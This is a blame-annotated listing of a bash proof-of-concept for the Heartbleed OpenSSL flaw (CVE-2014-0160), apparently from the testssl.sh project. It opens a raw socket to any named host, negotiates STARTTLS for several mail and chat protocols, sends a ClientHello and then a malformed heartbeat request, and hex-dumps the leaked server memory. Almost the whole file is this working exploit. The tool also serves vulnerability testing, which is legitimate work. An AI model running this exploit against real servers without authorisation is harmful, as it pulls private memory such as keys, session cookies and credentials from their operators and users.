2014-07-01 16:28:16 +02:00
|
|
|
#!/bin/bash
|
|
|
|
|
|
|
|
# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
|
|
|
|
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
|
|
|
|
#
|
|
|
|
# sockets inspired by http://blog.chris007.de/?p=238
|
|
|
|
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
|
|
|
|
#
|
2015-07-06 22:04:07 +02:00
|
|
|
# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
|
|
|
|
#
|
2014-07-01 16:28:16 +02:00
|
|
|
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
|
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
|
2015-07-01 19:50:38 +02:00
|
|
|
trap "cleanup" QUIT EXIT
|
2015-07-01 10:16:01 +02:00
|
|
|
|
2015-07-01 13:01:16 +02:00
|
|
|
[ -z "$1" ] && exit 1
|
|
|
|
|
|
|
|
NODE="$1"
|
2015-07-01 10:16:01 +02:00
|
|
|
PORT="443"
|
2015-07-06 22:04:07 +02:00
|
|
|
JABBERNODE=${JABBERNODE}
|
2014-07-01 16:28:16 +02:00
|
|
|
SLEEP=2
|
2015-07-01 13:01:16 +02:00
|
|
|
MAXSLEEP=10
|
2015-07-01 10:16:01 +02:00
|
|
|
SOCKREPLY=""
|
2014-07-01 16:28:16 +02:00
|
|
|
COL_WIDTH=32
|
2015-07-06 22:04:07 +02:00
|
|
|
DEBUG=${DEBUG:-0}
|
2014-07-01 16:28:16 +02:00
|
|
|
|
|
|
|
# TLS 1.0=x01 1.1=0x02, 1.2=0x3
|
2015-07-01 10:16:01 +02:00
|
|
|
TLSV=${2:-01}
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-06 22:04:07 +02:00
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
|
2015-07-01 13:01:16 +02:00
|
|
|
## ^^^^^^^ this is the whole thing!
|
2014-07-01 16:28:16 +02:00
|
|
|
|
|
|
|
client_hello="
|
2015-07-01 13:01:16 +02:00
|
|
|
# TLS header (5 bytes)
|
2014-07-01 16:28:16 +02:00
|
|
|
,x16, # Content type (x16 for handshake)
|
2015-07-01 13:01:16 +02:00
|
|
|
x03, x$TLSV, # TLS Version
|
2015-07-01 10:16:01 +02:00
|
|
|
x00, xdc, # Length
|
2014-07-01 16:28:16 +02:00
|
|
|
# Handshake header
|
2015-07-01 13:01:16 +02:00
|
|
|
x01, # Type (x01 for ClientHello)
|
|
|
|
x00, x00, xd8, # Length
|
|
|
|
x03, x$TLSV, # TLS Version
|
2014-07-01 16:28:16 +02:00
|
|
|
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
|
|
|
|
x53, x43, x5b, x90, x9d, x9b, x72, x0b,
|
|
|
|
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
|
|
|
|
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
|
|
|
|
x03, x90, x9f, x77, x04, x33, xd4, xde,
|
2015-07-01 13:01:16 +02:00
|
|
|
x00, # Session ID length
|
|
|
|
x00, x66, # Cipher suites length
|
2014-07-01 16:28:16 +02:00
|
|
|
# Cipher suites (51 suites)
|
|
|
|
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
|
|
|
|
x00, x39, x00, x38, x00, x88, x00, x87,
|
|
|
|
xc0, x0f, xc0, x05, x00, x35, x00, x84,
|
|
|
|
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
|
|
|
|
x00, x16, x00, x13, xc0, x0d, xc0, x03,
|
|
|
|
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
|
|
|
|
xc0, x1e, x00, x33, x00, x32, x00, x9a,
|
|
|
|
x00, x99, x00, x45, x00, x44, xc0, x0e,
|
|
|
|
xc0, x04, x00, x2f, x00, x96, x00, x41,
|
|
|
|
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
|
|
|
|
x00, x05, x00, x04, x00, x15, x00, x12,
|
|
|
|
x00, x09, x00, x14, x00, x11, x00, x08,
|
|
|
|
x00, x06, x00, x03, x00, xff,
|
|
|
|
x01, # Compression methods length
|
|
|
|
x00, # Compression method (x00 for NULL)
|
2015-07-01 13:01:16 +02:00
|
|
|
x00, x49, # Extensions length
|
2014-07-01 16:28:16 +02:00
|
|
|
# Extension: ec_point_formats
|
|
|
|
x00, x0b, x00, x04, x03, x00, x01, x02,
|
|
|
|
# Extension: elliptic_curves
|
|
|
|
x00, x0a, x00, x34, x00, x32, x00, x0e,
|
|
|
|
x00, x0d, x00, x19, x00, x0b, x00, x0c,
|
|
|
|
x00, x18, x00, x09, x00, x0a, x00, x16,
|
|
|
|
x00, x17, x00, x08, x00, x06, x00, x07,
|
|
|
|
x00, x14, x00, x15, x00, x04, x00, x05,
|
|
|
|
x00, x12, x00, x13, x00, x01, x00, x02,
|
|
|
|
x00, x03, x00, x0f, x00, x10, x00, x11,
|
|
|
|
# Extension: SessionTicket TLS
|
|
|
|
x00, x23, x00, x00,
|
|
|
|
# Extension: Heartbeat
|
|
|
|
x00, x0f, x00, x01, x01
|
|
|
|
"
|
2015-07-01 13:01:16 +02:00
|
|
|
#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
|
|
|
|
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
|
2014-07-01 16:28:16 +02:00
|
|
|
|
|
|
|
|
|
|
|
parse_hn_port() {
|
2015-07-01 13:01:16 +02:00
|
|
|
# strip "https", supposed it was supplied additionally
|
|
|
|
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 13:01:16 +02:00
|
|
|
# strip trailing urlpath
|
|
|
|
NODE=`echo $NODE | sed -e 's/\/.*$//'`
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 13:01:16 +02:00
|
|
|
# determine port, supposed it was supplied additionally
|
|
|
|
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
|
|
|
|
echo -e "\n===> connecting to $NODE:$PORT\n"
|
2015-07-01 10:16:01 +02:00
|
|
|
}
|
|
|
|
|
2015-07-06 22:04:07 +02:00
|
|
|
debugme() {
|
|
|
|
[[ $DEBUG -ge 2 ]] && "$@"
|
|
|
|
}
|
|
|
|
|
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
wait_kill(){
|
|
|
|
pid=$1
|
|
|
|
maxsleep=$2
|
|
|
|
while true; do
|
|
|
|
if ! ps $pid >/dev/null ; then
|
|
|
|
return 0 # didn't reach maxsleep yet
|
|
|
|
fi
|
|
|
|
sleep 1
|
|
|
|
maxsleep=$((maxsleep - 1))
|
|
|
|
test $maxsleep -eq 0 && break
|
2015-07-01 19:50:38 +02:00
|
|
|
done # needs to be killed
|
2015-07-01 10:16:01 +02:00
|
|
|
kill $pid >&2 2>/dev/null
|
|
|
|
wait $pid 2>/dev/null
|
2015-07-01 19:50:38 +02:00
|
|
|
return 3 # killed
|
2014-07-01 16:28:16 +02:00
|
|
|
}
|
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
|
2014-07-01 16:28:16 +02:00
|
|
|
socksend() {
|
2015-07-01 13:01:16 +02:00
|
|
|
data=`echo $1`
|
|
|
|
echo "\"$data\""
|
|
|
|
echo -en "$data" >&5 &
|
|
|
|
sleep $SLEEP
|
2014-07-01 16:28:16 +02:00
|
|
|
}
|
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
|
|
|
|
sockread() {
|
2015-07-01 13:01:16 +02:00
|
|
|
[[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
|
2015-07-01 10:16:01 +02:00
|
|
|
ret=0
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
|
|
|
|
dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
|
|
|
|
wait_kill $! $maxsleep
|
|
|
|
ret=$?
|
|
|
|
SOCKREPLY=$(cat $ddreply)
|
2015-07-06 22:04:07 +02:00
|
|
|
[ $DEBUG -eq 0 ] && rm $ddreply
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
return $ret
|
|
|
|
}
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-06 22:04:07 +02:00
|
|
|
|
|
|
|
starttls_just_read(){
|
|
|
|
echo "=== just read banner ==="
|
2015-07-01 13:01:16 +02:00
|
|
|
cat <&5 &
|
2015-07-01 10:16:01 +02:00
|
|
|
wait_kill $! $SLEEP
|
2015-07-01 19:50:38 +02:00
|
|
|
}
|
|
|
|
|
2015-07-06 22:04:07 +02:00
|
|
|
# arg1: string to send
|
|
|
|
# arg2: possible success strings a egrep pattern, needed!
|
|
|
|
starttls_line0() {
|
2015-07-01 19:50:38 +02:00
|
|
|
reply=$(mktemp /tmp/reply.XXXXXX) || return 7
|
2015-07-06 22:04:07 +02:00
|
|
|
|
|
|
|
debugme echo -e "\n=== sending \"$1\" ..."
|
|
|
|
echo -e "$1" >&5
|
|
|
|
dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
|
2015-07-01 19:50:38 +02:00
|
|
|
wait_kill $! $SLEEP
|
2015-07-06 22:04:07 +02:00
|
|
|
debugme echo "... received result: "
|
2015-07-01 19:50:38 +02:00
|
|
|
cat $reply
|
|
|
|
if [ -n "$2" ]; then
|
2015-07-06 22:04:07 +02:00
|
|
|
if egrep -q "$2" $reply; then
|
|
|
|
debugme echo "---> reply matched \"$2\""
|
|
|
|
[ $DEBUG -eq 0 ] && rm $reply
|
2015-07-01 19:50:38 +02:00
|
|
|
return 0
|
|
|
|
else
|
2015-07-06 22:04:07 +02:00
|
|
|
debugme echo "---> reply didn't match \"$2\", see $reply"
|
2015-07-01 19:50:38 +02:00
|
|
|
fixme "STARTTLS handshake problem"
|
|
|
|
exit 1
|
|
|
|
fi
|
|
|
|
fi
|
2015-07-01 10:16:01 +02:00
|
|
|
}
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
starttls_line1() {
|
2015-07-01 13:01:16 +02:00
|
|
|
echo "$1" >&5
|
|
|
|
while true; do
|
|
|
|
read line <&5
|
|
|
|
echo $line
|
|
|
|
break
|
|
|
|
done
|
|
|
|
}
|
|
|
|
|
|
|
|
fixme(){
|
|
|
|
tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
|
2015-07-01 10:16:01 +02:00
|
|
|
}
|
|
|
|
|
2015-07-01 13:01:16 +02:00
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
fd_socket(){
|
2015-07-06 22:04:07 +02:00
|
|
|
local jabber=""
|
|
|
|
|
2015-07-01 13:01:16 +02:00
|
|
|
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
|
|
|
|
echo "`basename $0`: unable to connect to $NODE:$PORT"
|
|
|
|
exit 2
|
|
|
|
fi
|
|
|
|
|
|
|
|
case "$1" in # port
|
|
|
|
21) # https://tools.ietf.org/html/rfc4217
|
2015-07-06 22:04:07 +02:00
|
|
|
starttls_just_read
|
|
|
|
starttls_line0 "FEAT" "211"
|
|
|
|
#starttls_line0 HELP "214"
|
|
|
|
starttls_line0 "AUTH TLS" "successful|234"
|
2015-07-01 13:01:16 +02:00
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
25) # SMTP, see https://tools.ietf.org/html/rfc4217
|
|
|
|
starttls_just_read
|
|
|
|
starttls_line0 "EHLO testssl.sh" "220|250"
|
2015-07-01 13:01:16 +02:00
|
|
|
starttls_line0 "STARTTLS" "220"
|
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
110) # POP, see https://tools.ietf.org/html/rfc2595
|
|
|
|
starttls_just_read
|
2015-07-01 13:01:16 +02:00
|
|
|
starttls_line0 "STLS" "OK"
|
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
|
|
|
|
starttls_just_read
|
|
|
|
starttls_line0 "CAPABILITIES" "101|200"
|
2015-07-01 13:01:16 +02:00
|
|
|
starttls_line0 "STARTTLS" "382"
|
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
143) # IMAP, https://tools.ietf.org/html/rfc2595
|
|
|
|
starttls_just_read
|
2015-07-01 13:01:16 +02:00
|
|
|
starttls_line0 "a001 CAPABILITY" "OK"
|
|
|
|
starttls_line0 "a002 STARTTLS" "OK"
|
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
|
2015-07-01 13:01:16 +02:00
|
|
|
fixme "LDAP: FIXME not yet implemented"
|
|
|
|
exit 1
|
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
|
2015-07-01 13:01:16 +02:00
|
|
|
fixme "ACAP: FIXME not yet implemented"
|
|
|
|
exit 1
|
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
5222) # XMPP, see https://tools.ietf.org/html/rfc6120
|
|
|
|
starttls_just_read
|
|
|
|
# following would be without hostname, jabber.org doesn't need it, others do!
|
|
|
|
#starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
|
|
|
|
[ -z $JABBERNODE ] && JABBERNODE="$NODE"
|
|
|
|
# as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
|
|
|
|
# supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
|
|
|
|
jabber=$(cat <<EOF
|
|
|
|
<?xml version='1.0' ?>
|
|
|
|
<stream:stream
|
|
|
|
xmlns:stream='http://etherx.jabber.org/streams'
|
|
|
|
xmlns='jabber:client'
|
|
|
|
to='$JABBERNODE'
|
|
|
|
xml:lang='en'
|
|
|
|
version='1.0'>
|
|
|
|
EOF
|
|
|
|
)
|
|
|
|
starttls_line0 "$jabber"
|
2015-07-01 13:01:16 +02:00
|
|
|
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
|
2015-07-06 22:04:07 +02:00
|
|
|
# BTW: https://xmpp.net !
|
2015-07-01 13:01:16 +02:00
|
|
|
;;
|
2015-07-06 22:04:07 +02:00
|
|
|
443|995|993|465|*) # we don't need a special pre-command here
|
2015-07-01 13:01:16 +02:00
|
|
|
;;
|
|
|
|
esac
|
|
|
|
echo
|
2015-07-01 10:16:01 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
close_socket(){
|
|
|
|
exec 5<&-
|
|
|
|
exec 5>&-
|
|
|
|
return 0
|
|
|
|
}
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 19:50:38 +02:00
|
|
|
cleanup() {
|
|
|
|
close_socket
|
|
|
|
}
|
|
|
|
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
#### main
|
|
|
|
|
|
|
|
parse_hn_port "$1"
|
|
|
|
fd_socket $PORT
|
|
|
|
|
|
|
|
echo "##### sending standard client hello with TLS version 03,$TLSV:"
|
2014-07-01 16:28:16 +02:00
|
|
|
socksend "$msg" $TLSV
|
|
|
|
|
2014-11-20 18:55:51 +01:00
|
|
|
sockread 16384
|
2015-07-01 10:16:01 +02:00
|
|
|
echo "##### reading server hello:"
|
2015-07-01 13:01:16 +02:00
|
|
|
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
|
2014-07-01 16:28:16 +02:00
|
|
|
echo "[...]"
|
|
|
|
echo
|
2015-07-01 13:01:16 +02:00
|
|
|
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
|
|
|
|
tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
|
|
|
|
exit 1
|
|
|
|
fi
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 10:16:01 +02:00
|
|
|
echo "###### sending payload with TLS version 03,$TLSV:"
|
2014-07-01 16:28:16 +02:00
|
|
|
socksend $heartbleed_payload $TLSV
|
|
|
|
|
|
|
|
sockread 65534
|
|
|
|
echo "###### heartbleed reply: "
|
2015-07-01 10:16:01 +02:00
|
|
|
echo "============================="
|
2015-07-01 13:01:16 +02:00
|
|
|
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
|
2015-07-01 10:16:01 +02:00
|
|
|
echo "============================="
|
2014-07-01 16:28:16 +02:00
|
|
|
|
2015-07-01 13:01:16 +02:00
|
|
|
if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then
|
|
|
|
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
|
|
|
|
ret=1
|
2014-07-01 16:28:16 +02:00
|
|
|
else
|
2015-07-01 13:01:16 +02:00
|
|
|
tput bold; tput setaf 2; echo "ok"; tput sgr0
|
|
|
|
ret=0
|
2014-07-01 16:28:16 +02:00
|
|
|
fi
|
|
|
|
echo
|
|
|
|
|
|
|
|
exit $ret
|
|
|
|
|
2015-07-06 22:04:07 +02:00
|
|
|
# vim:tw=200:ts=5:sw=5:expandtab
|
|
|
|
# $Id: heartbleed.bash,v 1.14 2015/07/06 19:26:38 dirkw Exp $
|